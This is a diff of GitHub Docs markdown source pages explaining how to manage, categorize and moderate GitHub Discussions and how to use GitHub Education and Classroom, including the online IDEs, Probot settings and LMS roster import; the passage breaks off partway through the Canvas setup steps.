'*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see 